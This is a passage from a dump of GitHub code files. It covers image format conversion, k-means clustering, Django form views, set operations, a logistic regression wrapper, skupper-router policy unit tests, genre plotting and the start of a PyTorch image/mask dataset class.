os.path.splitext(fl)\n if ex != \".jpg\":\n print(fl)\n\n if ex == \".png\":\n png_to_jpg(image_filepath=os.path.join(arranged_imgfolder, fl))\n else:\n os.rename( os.path.join(arranged_imgfolder, fl), \n os.path.join(arranged_imgfolder, fil+\".jpg\") )\n\n\n\ndef png_to_jpg(image_filepath):\n im = Image.open(image_filepath)\n rgb_im = im.convert(\"RGB\")\n rgb_im.save(image_filepath.replace(\".png\",\".jpg\"))\n os.remove(image_filepath)\n\n\ndef clip_to_ones_in_labels():\n pass\n\n\n\nif __name__ == \"__main__\":\n rearrange_images_labels_and_zip(zipfile_path=ZOHEB_ZIPFILE_PATH, \n customdata_folderpath=CUSTOMDATA_FOLDERPATH)\n# rename_image_exts(arranged_imgfolder=ARRANGED_IMGFOLDER)\n\n\n\n\n","repo_name":"sairamsubramaniam/tsai_projects","sub_path":"assignment13_yolo/yolo_ppe/cleanup_prepare.py","file_name":"cleanup_prepare.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11919794095","text":"import sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\n\n\ndef kmean_cluster(df,clusters):\n\n kmeans_df = df[['principal component 1', 'principal component 2']].copy()\n kmeans = KMeans(init=\"k-means++\", n_clusters=clusters).fit(kmeans_df)\n labels = kmeans.labels_\n X_dist = (kmeans.transform(kmeans_df))\n\n distance = []\n\n for inner_list in X_dist:\n distance.append((min(inner_list)))\n\n kmeans_df['PRED'] = labels\n kmeans_df['test_name'] = df['test_name'].values\n kmeans_df['distance'] = distance\n\n grouped_df = kmeans_df.groupby(\"PRED\")\n grouped_lists = grouped_df[\"test_name\"].apply(list)\n grouped_lists = grouped_lists.reset_index()\n df_result = grouped_lists.explode('test_name')\n grouped_lists.explode('test_name').to_csv(\"clusters.csv\")\n\n return df_result,kmeans\n\ndef plot_kmeans(df, kmeans):\n\n centroids = kmeans.cluster_centers_\n plt.scatter(centroids[:, 0], centroids[:, 1], c='red', s=50)\n plt.scatter(df['principal component 1'], df['principal component 2'], c= kmeans.labels_.astype(float), s=50, alpha=0.5)\n for i, label in enumerate(df['test_name']):\n plt.annotate(i, (df['principal component 1'][i], df['principal component 2'][i]))\n plt.xlabel(\"Component 1\")\n plt.ylabel(\"Component 2\")\n plt.grid()\n plt.show()\n\n\ndef main():\n\n FILE = \"pca.csv\"\n clusters = 2\n\n if len(sys.argv) > 1:\n FILE = sys.argv[1]\n clusters = int(sys.argv[2])\n\n df = pd.read_csv(FILE)\n df_result = kmean_cluster(df,clusters)\n print(df_result)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"VictorRodriguez/doctorado","sub_path":"detector/clustering/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40537644334","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.db.models import Q\nfrom django.shortcuts import render, redirect\nfrom django.template import loader\nfrom .models import Student, Division\nfrom django.http import HttpResponse\nfrom .models import Student, Division, Teacher, Subject\nfrom .forms import studentForm, teacherform, divisionform, subjectform\n\n\ndef create_student(request):\n form = studentForm()\n if request.method == 'POST':\n form = studentForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponse('

    Saved the student

    ')\n\n context = {\n 'form': form\n }\n return render(request, 'user/create.html', context)\n\n\ndef create_teacher(request):\n form = teacherform()\n if request.method == 'POST':\n form = teacherform(request.POST)\n if form.is_valid():\n form.save()\n\n context = {\n 'form': form\n }\n return render(request, 'user/teacher.html', context)\n\n\ndef create_division(request):\n form = divisionform()\n if request.method == 'POST':\n form = divisionform(request.POST)\n if form.is_valid():\n form.save()\n\n context = {\n 'form': form\n }\n return render(request, 'user/division.html', context)\n\n\ndef create_subject(request):\n form = subjectform()\n if request.method == 'POST':\n form = subjectform(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponse('

    Saved...

    ')\n\n context = {\n 'form': form\n }\n return render(request, 'user/subject.html', context)\n\n\ndef student(request):\n obj = Student.objects.all()\n context = {\n 'obj': obj\n }\n return render(request, 'user/form.html', context)\n\n\ndef get_all_students(request):\n query = request.GET.get('q')\n print(query)\n results = Student.objects.filter(name=query)\n student_in_div = Student.objects.filter(division__name='3A')\n print(student_in_div)\n for result in results:\n stud_sub = Student.objects.filter(division__teacher__subject__name=result.division.teacher.subject.name)\n print(stud_sub)\n context = {\n 'results': results\n }\n return render(request, 'user/get.html', context)\n","repo_name":"Jishin4477/django-app","sub_path":"studentapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8463367459","text":"'''\r\n\r\n>>> H = set(\"Hacker\")\r\n>>> R = set(\"Rank\")\r\n>>> H.update(R)\r\n>>> print H\r\nset(['a', 'c', 'e', 'H', 'k', 'n', 'r', 'R'])\r\n\r\n>>> H = set(\"Hacker\")\r\n>>> R = set(\"Rank\")\r\n>>> H.intersection_update(R)\r\n>>> print H\r\nset(['a', 'k'])\r\n\r\n>>> H = set(\"Hacker\")\r\n>>> R = set(\"Rank\")\r\n>>> H.difference_update(R)\r\n>>> print H\r\nset(['c', 'e', 'H', 'r'])\r\n\r\n>>> H = set(\"Hacker\")\r\n>>> R = set(\"Rank\")\r\n>>> H.symmetric_difference_update(R)\r\n>>> print H\r\nset(['c', 'e', 'H', 'n', 'r', 'R'])\r\n\r\n'''\r\n\r\nA = set()\r\n\r\nn = int(input('Enter Length of set A: '))\r\n\r\nfor i in range(n):\r\n inpt = int(input('Enter number in Set A: '))\r\n A.add(inpt)\r\n\r\nprint(A)\r\nN = int(input('Enter number of operations: '))\r\n\r\nfor op in range(N):\r\n S = set()\r\n oper = input('Enter name of operation {}: '.format(op+1))\r\n m = int(input('Enter Length of Set S: '))\r\n\r\n for i in range(m):\r\n inpt = int(input('Enter number in Set S: '))\r\n S.add(inpt)\r\n\r\n if oper == 'update':\r\n A.update(S)\r\n print('A:')\r\n print(A)\r\n elif oper == 'intersection_update':\r\n A.intersection_update(S)\r\n print('A:')\r\n print(A)\r\n elif oper == 'difference_update':\r\n A.difference_update(S)\r\n print('A:')\r\n print(A)\r\n elif oper == 'symmetric_difference_update':\r\n A.symmetric_difference_update(S)\r\n print('A:')\r\n print(A)\r\n","repo_name":"Raizadaaditya/Atom_Programs","sub_path":"set_update_operations.py","file_name":"set_update_operations.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28865893039","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\n\n# import numpy as np\n\n\nclass LinearModels:\n def __init__(self, verbose=False):\n self.verbose = verbose\n\n def define_clf(self, clf_type=\"lr\"):\n \"\"\"\n Define a logisitic regression model.\n\n Parameters\n ----------\n clf_type : str, optional\n _description_, by default \"lr\"\n\n Returns\n -------\n _type_\n _description_\n \"\"\"\n if clf_type == \"lr\":\n clf_lr = LogisticRegression()\n return clf_lr\n\n def logistic_regr(self, design_matrix, response):\n \"\"\"\n Fit a logistic regression model to data.\n\n Parameters\n ----------\n design_matrix : DataFrame\n _description_\n response : Vector\n the outcome of interest\n\n Returns\n -------\n Logistic Regression (sklearn)\n _description_\n \"\"\"\n clf_lr = self.define_clf()\n clf_lr.fit(X=design_matrix, y=response)\n return clf_lr\n\n def get_wgts(self, model_object):\n \"\"\"\n Generate bias and weights (coefficients) from a linear model.\n\n Parameters\n ----------\n model_object : Logistic Regression (sklearn)\n _description_\n\n Returns\n -------\n DataFrame\n _description_\n \"\"\"\n # intercept = model_object.intercept_\n bias = model_object.intercept_\n wgts = model_object.coef_\n bias_tbl = pd.DataFrame(bias, columns=[\"bias\"])\n wgts_tbl = pd.DataFrame(wgts, columns=model_object.feature_names_in_)\n\n return pd.concat([bias_tbl, wgts_tbl], axis=1)\n\n def make_random_sample_test(self, data_object, nbr_sample=2):\n tmp_sample = data_object.sample(n=nbr_sample).reset_index(drop=True)\n # tmp_sample_answer = tmp_sample[\"home_team_wins\"]\n return tmp_sample\n\n def make_inference(self, model_object, data_object):\n \"\"\"\n Produce estimates for data.\n\n Parameters\n ----------\n model_object : Logistic Regression (sklearn)\n _description_\n data_object : DataFrame or array-like object\n _description_\n\n Returns\n -------\n Dict\n Contains the following:\n 1. predicted class --> array\n 2. predicted probabilities --> array\n 3. standard deviation of the predicted probabilities --> array\n 4. absolute difference of the predicted probabilities --> array\n\n Notes\n -----\n Calculating and returning the standard deviation and absolute difference of the\n predicted probabilities allows for further underestanding of the models decision\n boundary.\n \"\"\"\n pred_cls = model_object.predict(data_object)\n pred_probs = model_object.predict_proba(data_object)\n\n std_diff = np.std(pred_probs, axis=1)\n abs_diff = np.abs(np.diff(pred_probs, axis=1))\n abs_diff = abs_diff.reshape(std_diff.shape)\n\n infer_dt = {\n \"pred_cls\": pred_cls,\n \"pred_probs\": pred_probs,\n \"std_diff\": std_diff,\n \"abs_diff\": abs_diff,\n }\n\n return infer_dt\n","repo_name":"jonathanharmitage/nflMatchupPredictor","sub_path":"nflMatchupPredictor/Models/LinearModels.py","file_name":"LinearModels.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19898455238","text":"import json\nfrom typing import TYPE_CHECKING, Any\n\nfrom skupper_router_internal.policy.policy_util import HostAddr, is_ipv6_enabled\nfrom skupper_router_internal.policy.policy_util import HostStruct\nfrom skupper_router_internal.policy.policy_util import PolicyError\nfrom skupper_router_internal.policy.policy_util import PolicyAppConnectionMgr\nfrom skupper_router_internal.policy.policy_local import PolicyLocal\n\nfrom system_test import unittest\nfrom system_test import TestCase, main_module\n\nif TYPE_CHECKING:\n from skupper_router_internal.policy.policy_local import AppStats\n\n\nclass PolicyHostAddrTest(TestCase):\n\n def expect_deny(self, badhostname, msg):\n denied = False\n try:\n xxx = HostStruct(badhostname)\n except PolicyError:\n denied = True\n self.assertTrue(denied, (\"%s\" % msg))\n\n def check_hostaddr_match(self, tHostAddr, tString, expectOk=True):\n # check that the string is a match for the addr\n # check that the internal struct version matches, too\n ha = HostStruct(tString)\n if expectOk:\n self.assertTrue(tHostAddr.match_str(tString))\n self.assertTrue(tHostAddr.match_bin(ha))\n else:\n self.assertFalse(tHostAddr.match_str(tString))\n self.assertFalse(tHostAddr.match_bin(ha))\n\n def test_policy_hostaddr_ipv4(self):\n # Create simple host and range\n aaa = HostAddr(\"192.168.1.1\")\n bbb = HostAddr(\"1.1.1.1,1.1.1.255\")\n # Verify host and range\n self.check_hostaddr_match(aaa, \"192.168.1.1\")\n self.check_hostaddr_match(aaa, \"1.1.1.1\", False)\n self.check_hostaddr_match(aaa, \"192.168.1.2\", False)\n self.check_hostaddr_match(bbb, \"1.1.1.1\")\n self.check_hostaddr_match(bbb, \"1.1.1.254\")\n self.check_hostaddr_match(bbb, \"1.1.1.0\", False)\n self.check_hostaddr_match(bbb, \"1.1.2.0\", False)\n\n def test_policy_hostaddr_ipv6(self):\n if not is_ipv6_enabled():\n self.skipTest(\"System IPv6 support is not available\")\n # Create simple host and range\n aaa = HostAddr(\"::1\")\n bbb = HostAddr(\"::1,::ffff\")\n ccc = HostAddr(\"ffff::0,ffff:ffff::0\")\n # Verify host and range\n self.check_hostaddr_match(aaa, \"::1\")\n self.check_hostaddr_match(aaa, \"::2\", False)\n self.check_hostaddr_match(aaa, \"ffff:ffff::0\", False)\n self.check_hostaddr_match(bbb, \"::1\")\n self.check_hostaddr_match(bbb, \"::fffe\")\n self.check_hostaddr_match(bbb, \"::1:0\", False)\n self.check_hostaddr_match(bbb, \"ffff::0\", False)\n self.check_hostaddr_match(ccc, \"ffff::1\")\n self.check_hostaddr_match(ccc, \"ffff:fffe:ffff:ffff::ffff\")\n self.check_hostaddr_match(ccc, \"ffff:ffff::1\", False)\n self.check_hostaddr_match(ccc, \"ffff:ffff:ffff:ffff::ffff\", False)\n\n def test_policy_hostaddr_ipv4_wildcard(self):\n aaa = HostAddr(\"*\")\n self.check_hostaddr_match(aaa, \"0.0.0.0\")\n self.check_hostaddr_match(aaa, \"127.0.0.1\")\n self.check_hostaddr_match(aaa, \"255.254.253.252\")\n\n def test_policy_hostaddr_ipv6_wildcard(self):\n if not is_ipv6_enabled():\n self.skipTest(\"System IPv6 support is not available\")\n aaa = HostAddr(\"*\")\n self.check_hostaddr_match(aaa, \"::0\")\n self.check_hostaddr_match(aaa, \"::1\")\n self.check_hostaddr_match(aaa, \"ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff\")\n\n def test_policy_malformed_hostaddr_ipv4(self):\n self.expect_deny(\"0.0.0.0.0\", \"Name or service not known\")\n self.expect_deny(\"1.1.1.1,2.2.2.2,3.3.3.3\", \"arg count\")\n self.expect_deny(\"9.9.9.9,8.8.8.8\", \"a > b\")\n\n def test_policy_malformed_hostaddr_ipv6(self):\n if not is_ipv6_enabled():\n self.skipTest(\"System IPv6 support is not available\")\n self.expect_deny(\"1::2::3\", \"Name or service not known\")\n self.expect_deny(\"::1,::2,::3\", \"arg count\")\n self.expect_deny(\"0:ff:0,0:fe:ffff:ffff::0\", \"a > b\")\n\n\nclass QpidDispatch:\n def qd_dispatch_policy_c_counts_alloc(self):\n return 100\n\n def qd_dispatch_policy_c_counts_refresh(self, cstats, entitymap):\n pass\n\n\nclass MockAgent:\n def __init__(self) -> None:\n self.qd = QpidDispatch()\n\n def add_implementation(self, entity: 'AppStats', cfg_obj_name: str) -> None:\n pass\n\n\nclass MockPolicyManager:\n def __init__(self):\n self.agent = MockAgent()\n self.logs = []\n\n def log_debug(self, text):\n print(\"DEBUG: %s\" % text)\n self.logs.append(text)\n\n def log_info(self, text):\n print(\"INFO: %s\" % text)\n self.logs.append(text)\n\n def log_trace(self, text):\n print(\"TRACE: %s\" % text)\n self.logs.append(text)\n\n def log_error(self, text):\n print(\"ERROR: %s\" % text)\n self.logs.append(text)\n\n def log_warning(self, text):\n print(\"WARNING: %s\" % text)\n self.logs.append(text)\n\n def get_agent(self):\n return self.agent\n\n\nclass PolicyFile(TestCase):\n\n manager: Any = MockPolicyManager()\n policy = PolicyLocal(manager)\n policy.test_load_config()\n\n def test_policy1_test_zeke_ok(self):\n p1 = PolicyFile.policy.lookup_user('zeke', '192.168.100.5', 'photoserver', '192.168.100.5:33333', 1)\n self.assertEqual(p1, 'test')\n upolicy = {}\n self.assertTrue(\n PolicyFile.policy.lookup_settings('photoserver', p1, upolicy)\n )\n self.assertTrue(upolicy['maxFrameSize'] == 444444)\n self.assertTrue(upolicy['maxMessageSize'] == 444444)\n self.assertTrue(upolicy['maxSessionWindow'] == 444444)\n self.assertTrue(upolicy['maxSessions'] == 4)\n self.assertTrue(upolicy['maxSenders'] == 44)\n self.assertTrue(upolicy['maxReceivers'] == 44)\n self.assertTrue(upolicy['allowAnonymousSender'])\n self.assertTrue(upolicy['allowDynamicSource'])\n self.assertTrue(upolicy['targets'] == 'a,private,')\n self.assertTrue(upolicy['sources'] == 'a,private,')\n\n def test_policy1_test_zeke_bad_IP(self):\n self.assertTrue(\n PolicyFile.policy.lookup_user('zeke', '10.18.0.1', 'photoserver', \"connid\", 2) == '')\n self.assertTrue(\n PolicyFile.policy.lookup_user('zeke', '72.135.2.9', 'photoserver', \"connid\", 3) == '')\n self.assertTrue(\n PolicyFile.policy.lookup_user('zeke', '127.0.0.1', 'photoserver', \"connid\", 4) == '')\n\n def test_policy1_test_zeke_bad_app(self):\n self.assertTrue(\n PolicyFile.policy.lookup_user('zeke', '192.168.100.5', 'galleria', \"connid\", 5) == '')\n\n def test_policy1_test_users_same_permissions(self):\n zname = PolicyFile.policy.lookup_user('zeke', '192.168.100.5', 'photoserver', '192.168.100.5:33333', 6)\n yname = PolicyFile.policy.lookup_user('ynot', '10.48.255.254', 'photoserver', '192.168.100.5:33334', 7)\n self.assertTrue(zname == yname)\n\n def test_policy1_lookup_unknown_application(self):\n upolicy = {}\n self.assertFalse(\n PolicyFile.policy.lookup_settings('unknown', 'doesntmatter', upolicy)\n )\n\n def test_policy1_lookup_unknown_usergroup(self):\n upolicy = {}\n self.assertFalse(\n PolicyFile.policy.lookup_settings('photoserver', 'unknown', upolicy)\n )\n\n\nclass PolicyFileApplicationFallback(TestCase):\n manager: Any = MockPolicyManager()\n policy = PolicyLocal(manager)\n policy.test_load_config()\n\n def test_bad_app_fallback(self):\n # Show that with no fallback the user cannot connect\n self.assertTrue(\n self.policy.lookup_user('zeke', '192.168.100.5', 'galleria', \"connid\", 5) == '')\n\n # Enable the fallback defaultVhost and show the same user can now connect\n self.policy.set_default_vhost('photoserver')\n settingsname = self.policy.lookup_user('zeke', '192.168.100.5', 'galleria', \"connid\", 5)\n self.assertTrue(settingsname == 'test')\n\n # Show that the fallback settings are returned\n upolicy = {}\n self.assertTrue(\n self.policy.lookup_settings('phony*app*name', settingsname, upolicy)\n )\n self.assertTrue(upolicy['maxFrameSize'] == 444444)\n self.assertTrue(upolicy['maxMessageSize'] == 444444)\n self.assertTrue(upolicy['maxSessionWindow'] == 444444)\n self.assertTrue(upolicy['maxSessions'] == 4)\n self.assertTrue(upolicy['maxSenders'] == 44)\n self.assertTrue(upolicy['maxReceivers'] == 44)\n self.assertTrue(upolicy['allowAnonymousSender'])\n self.assertTrue(upolicy['allowDynamicSource'])\n self.assertTrue(upolicy['targets'] == 'a,private,')\n self.assertTrue(upolicy['sources'] == 'a,private,')\n\n # Disable fallback and show failure again\n self.policy.set_default_vhost('')\n self.assertTrue(\n self.policy.lookup_user('zeke', '192.168.100.5', 'galleria', \"connid\", 5) == '')\n\n\nclass PolicyAppConnectionMgrTests(TestCase):\n\n def test_policy_app_conn_mgr_fail_by_total(self):\n stats = PolicyAppConnectionMgr(1, 2, 2)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10000', 'chuck', '10.10.10.10', diags, None, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n self.assertTrue(len(diags) == 1)\n self.assertIn('application connection limit', diags[0])\n\n def test_policy_app_conn_mgr_fail_by_user(self):\n stats = PolicyAppConnectionMgr(3, 1, 2)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10000', 'chuck', '10.10.10.10', diags, None, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n self.assertTrue(len(diags) == 1)\n self.assertIn('per user', diags[0])\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10002', 'chuck', '10.10.10.10', diags, 2, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10003', 'chuck', '10.10.10.10', diags, 2, None))\n\n def test_policy_app_conn_mgr_fail_by_hosts(self):\n stats = PolicyAppConnectionMgr(3, 2, 1)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10000', 'chuck', '10.10.10.10', diags, None, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n self.assertTrue(len(diags) == 1)\n self.assertIn('per host', diags[0])\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10002', 'chuck', '10.10.10.10', diags, None, 2))\n self.assertFalse(stats.can_connect('10.10.10.10:10003', 'chuck', '10.10.10.10', diags, None, 2))\n\n def test_policy_app_conn_mgr_fail_by_user_hosts(self):\n stats = PolicyAppConnectionMgr(3, 1, 1)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10000', 'chuck', '10.10.10.10', diags, None, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n self.assertTrue(len(diags) == 2)\n success = 'per user' in diags[0] or 'per user' in diags[1]\n self.assertTrue(success)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10002', 'chuck', '10.10.10.10', diags, 2, 2))\n self.assertFalse(stats.can_connect('10.10.10.10:10003', 'chuck', '10.10.10.10', diags, 2, 2))\n\n def test_policy_app_conn_mgr_update(self):\n stats = PolicyAppConnectionMgr(3, 1, 2)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10000', 'chuck', '10.10.10.10', diags, None, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n self.assertTrue(len(diags) == 1)\n self.assertIn('per user', diags[0])\n diags = []\n stats.update(3, 2, 2)\n self.assertTrue(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n\n def test_policy_app_conn_mgr_disconnect(self):\n stats = PolicyAppConnectionMgr(3, 1, 2)\n diags = []\n self.assertTrue(stats.can_connect('10.10.10.10:10000', 'chuck', '10.10.10.10', diags, None, None))\n self.assertFalse(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n self.assertTrue(len(diags) == 1)\n self.assertIn('per user', diags[0])\n diags = []\n stats.disconnect(\"10.10.10.10:10000\", 'chuck', '10.10.10.10')\n self.assertTrue(stats.can_connect('10.10.10.10:10001', 'chuck', '10.10.10.10', diags, None, None))\n\n def test_policy_app_conn_mgr_create_bad_settings(self):\n denied = False\n try:\n stats = PolicyAppConnectionMgr(-3, 1, 2)\n except PolicyError:\n denied = True\n self.assertTrue(denied, \"Failed to detect negative setting value.\")\n\n def test_policy_app_conn_mgr_update_bad_settings(self):\n denied = False\n try:\n stats = PolicyAppConnectionMgr(0, 0, 0)\n except PolicyError:\n denied = True\n self.assertFalse(denied, \"Should allow all zeros.\")\n try:\n stats.update(0, -1, 0)\n except PolicyError:\n denied = True\n self.assertTrue(denied, \"Failed to detect negative setting value.\")\n\n def test_policy_app_conn_mgr_larger_counts(self):\n stats = PolicyAppConnectionMgr(10000, 10000, 10000)\n diags = []\n for i in range(0, 10000):\n self.assertTrue(stats.can_connect('1.1.1.1:' + str(i), 'chuck', '1.1.1.1', diags, None, None))\n self.assertTrue(len(diags) == 0)\n self.assertFalse(stats.can_connect('1.1.1.1:10000', 'chuck', '1.1.1.1', diags, None, None))\n self.assertTrue(len(diags) == 3)\n self.assertTrue(stats.connections_active == 10000)\n self.assertTrue(stats.connections_approved == 10000)\n self.assertTrue(stats.connections_denied == 1)\n\n\nclass PolicyAliases(TestCase):\n\n #\n def test_AliasesRenameOwnVhost(self):\n config_str = \"\"\"\n[{\n \"hostname\": \"$default\",\n \"allowUnknownUser\": true,\n \"aliases\": \"$default\",\n \"groups\": {\n \"$default\": {\n \"remoteHosts\": \"*\",\n \"allowDynamicSource\": true,\n \"allowAnonymousSender\": true,\n \"sources\": \"$management, examples, q1\",\n \"targets\": \"$management, examples, q1\",\n \"maxSessions\": 1\n }\n }\n}]\n\"\"\"\n manager: Any = MockPolicyManager()\n policy = PolicyLocal(manager)\n ruleset = json.loads(config_str)\n denied = False\n try:\n policy.create_ruleset(ruleset[0])\n except PolicyError:\n denied = True\n self.assertTrue(denied, \"Ruleset duplicates vhost and alias but condition not detected.\")\n\n #\n def test_SameAliasOnTwoVhosts(self):\n config_str = \"\"\"\n[{\n \"hostname\": \"$default\",\n \"aliases\": \"a,b,c,d,e\",\n \"groups\": {\n \"$default\": {\n \"maxSessions\": 1\n }\n }\n},\n{\n \"hostname\": \"doshormigas\",\n \"aliases\": \"i,h,g,f,e\",\n \"groups\": {\n \"$default\": {\n \"maxSessions\": 1\n }\n }\n}]\n\"\"\"\n manager: Any = MockPolicyManager()\n policy = PolicyLocal(manager)\n ruleset = json.loads(config_str)\n denied = False\n try:\n policy.create_ruleset(ruleset[0])\n policy.create_ruleset(ruleset[1])\n except PolicyError as e:\n denied = True\n self.assertTrue(denied, \"Rulesets duplicate same alias in two vhosts but condition not detected.\")\n\n #\n def test_AliasConflictsWithVhost(self):\n config_str = \"\"\"\n[{\n \"hostname\": \"$default\",\n \"groups\": {\n \"$default\": {\n \"maxSessions\": 1\n }\n }\n},\n{\n \"hostname\": \"conflict-with-vhost\",\n \"aliases\": \"$default\",\n \"groups\": {\n \"$default\": {\n \"maxSessions\": 1\n }\n }\n}]\n\"\"\"\n manager: Any = MockPolicyManager()\n policy = PolicyLocal(manager)\n ruleset = json.loads(config_str)\n denied = False\n try:\n policy.create_ruleset(ruleset[0])\n policy.create_ruleset(ruleset[1])\n except PolicyError as e:\n denied = True\n self.assertTrue(denied, \"Ruleset alias names other vhost but condition not detected.\")\n\n #\n def test_AliasOperationalLookup(self):\n manager: Any = MockPolicyManager()\n policy = PolicyLocal(manager)\n policy.test_load_config()\n\n # For this test the test config defines vhost 'photoserver'.\n # This test accesses that vhost using the alias name 'antialias'.\n settingsname = policy.lookup_user('zeke', '192.168.100.5', 'antialias', \"connid\", 5)\n self.assertTrue(settingsname == 'test')\n\n upolicy = {}\n self.assertTrue(\n policy.lookup_settings('antialias', settingsname, upolicy)\n )\n self.assertTrue(upolicy['maxFrameSize'] == 444444)\n self.assertTrue(upolicy['sources'] == 'a,private,')\n\n\nif __name__ == '__main__':\n unittest.main(main_module())\n","repo_name":"skupperproject/skupper-router","sub_path":"tests/router_policy_test.py","file_name":"router_policy_test.py","file_ext":"py","file_size_in_byte":17174,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"35866152579","text":"import seaborn as sns\nimport matplotlib.pyplot as plt\nfrom typing import List, Tuple, Any, Counter as CounterT\nfrom collections import Counter\nimport toolz.curried as toolz\n\nfrom src.parsing.songs import parse_tracks\nfrom src.IO.genre_io import all_genres\n\n\ndef plot_years(counter: CounterT[int]) -> None:\n breakdown = {\n \"Year\": list(counter.keys()),\n \"Number of songs\": list(counter.values()),\n }\n\n sns.set_theme()\n axes = sns.barplot(\n data=breakdown,\n x=\"Year\",\n y=\"Number of songs\",\n )\n axes.set_title(\"Songs per year\")\n plt.show()\n\n\n# Show a bar plot of the number of tracks added to the playlist per year\nplot_songs_per_year = toolz.compose(\n plot_years, Counter, list, parse_tracks)\n\n\n@toolz.curry\ndef occurs_more_than(min: int, counter: Counter) -> dict:\n return toolz.valfilter(lambda x: x > min, counter)\n\n\ndef sort_counter(counter: Counter) -> List[Tuple[Any, int]]:\n return sorted(counter.items(), key=lambda pair: pair[1], reverse=True)\n\n\ndef plot_genres(sorted_counter: List[Tuple[str, int]]) -> None:\n breakdown = {\n \"Genre\": list(map(toolz.get(0), sorted_counter)),\n \"Occurences\": list(map(toolz.get(1), sorted_counter)),\n }\n sns.set_theme()\n axes = sns.barplot(\n data=breakdown,\n x=\"Genre\",\n y=\"Occurences\",\n )\n axes.set_title(\"Most common genres\")\n plt.show()\n\n\n# Show a bar plot of the number of songs per genre in the playlist\nplot_songs_per_genre = toolz.compose(\n plot_genres,\n sort_counter,\n occurs_more_than(10),\n Counter,\n list\n)\n","repo_name":"SMC242/spotify-wrapped-playlist","sub_path":"src/formatting/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70411709533","text":"from torch.utils.data import Dataset\nfrom torchvision.transforms.transforms import ToTensor\nimport torch\n\nimport albumentations as A\n\nimport numpy as np\n\nfrom PIL import Image\nimport cv2 as cv\n\nfrom typing import Dict, Optional, Union, List\nimport os\nimport json\n\nimport logging\n\nfrom .aug_tools import *\n\n__all__ = [\n \"cfg2datasets\",\n \"ImgMaskSet\",\n \"datasets2json_file\"\n]\n\n# Here implemented 'fit' that trains model.\n\nlog = logging.getLogger(__name__)\nimg2tensor = ToTensor()\n\n\nclass ImgMaskSet(Dataset):\n \"\"\"\n It's dataset that returns images, their masks and names. As well, it can return not transformed img.\n In img and mask dirs imgs and corresponding masks should be named the same.\n fgr and bgr trfms have not to change mask (it's can not be a flip, for instance)\n \"\"\"\n def __init__(self, log_name: str, img_dir_path: str, mask_dir_path: str, img_list: List[str],\n bgr_trfm, fgr_trfm, trfm, preproc, # add type of augmentation\n device: torch.device,):\n \"\"\"\n :param log_name: name that is used in log\n\n :param img_dir_path: path to directory where images are contained. in this directory all images are .jpeg\n :param mask_dir_path: path to directory where masks (images with deleted background) are contained.\n in this directory all images are .png\n :param img_list: specifies image names in image directory that should be used\n\n :param bgr_trfm: transformation of background, is not used during the test\n :param fgr_trfm: foreground augmentations, is not used during the test\n :param trfm: transformations to augment dataset, is not used during the test\n :param preproc: transformations that used during the test, it is applied after all other transformations\n\n :param device: device of images and masks\n \"\"\"\n\n self.log_name = log_name\n\n self.img_dir_path = img_dir_path\n self.mask_dir_path = mask_dir_path\n self.device = device\n\n self.img_list = [i[:-5] for i in img_list] # deleted extension .jpeg\n self.size = len(self.img_list)\n\n # augmentation\n self.bgr_trfm = bgr_trfm\n self.fgr_trfm = fgr_trfm\n self.trfm = trfm\n self.aug_flag = True # applying of augmentation depends on it\n\n # preprocessing\n self.preproc = preproc\n self.preproc_flag = True # applying of preprocessing depends on it\n\n # needed to return img in it original form, without preproc and augmentation\n self.return_original_img = False\n\n log.info(f\"Created {self.log_name} dataset: \\n\"\n f\"Size: {self.size} \\n\"\n f\"Device: {self.device} \\n\"\n f\"Path to image dir: {self.img_dir_path} \\n\"\n f\"Path to mask dir: {self.mask_dir_path}\")\n\n def __len__(self):\n return self.size\n\n def __getitem__(self, idx: int):\n\n img_name = self.img_list[idx]\n img_path = os.path.join(self.img_dir_path, img_name + \".jpeg\")\n mask_path = os.path.join(self.mask_dir_path, img_name + \".png\")\n\n # read img and mask\n original_img = 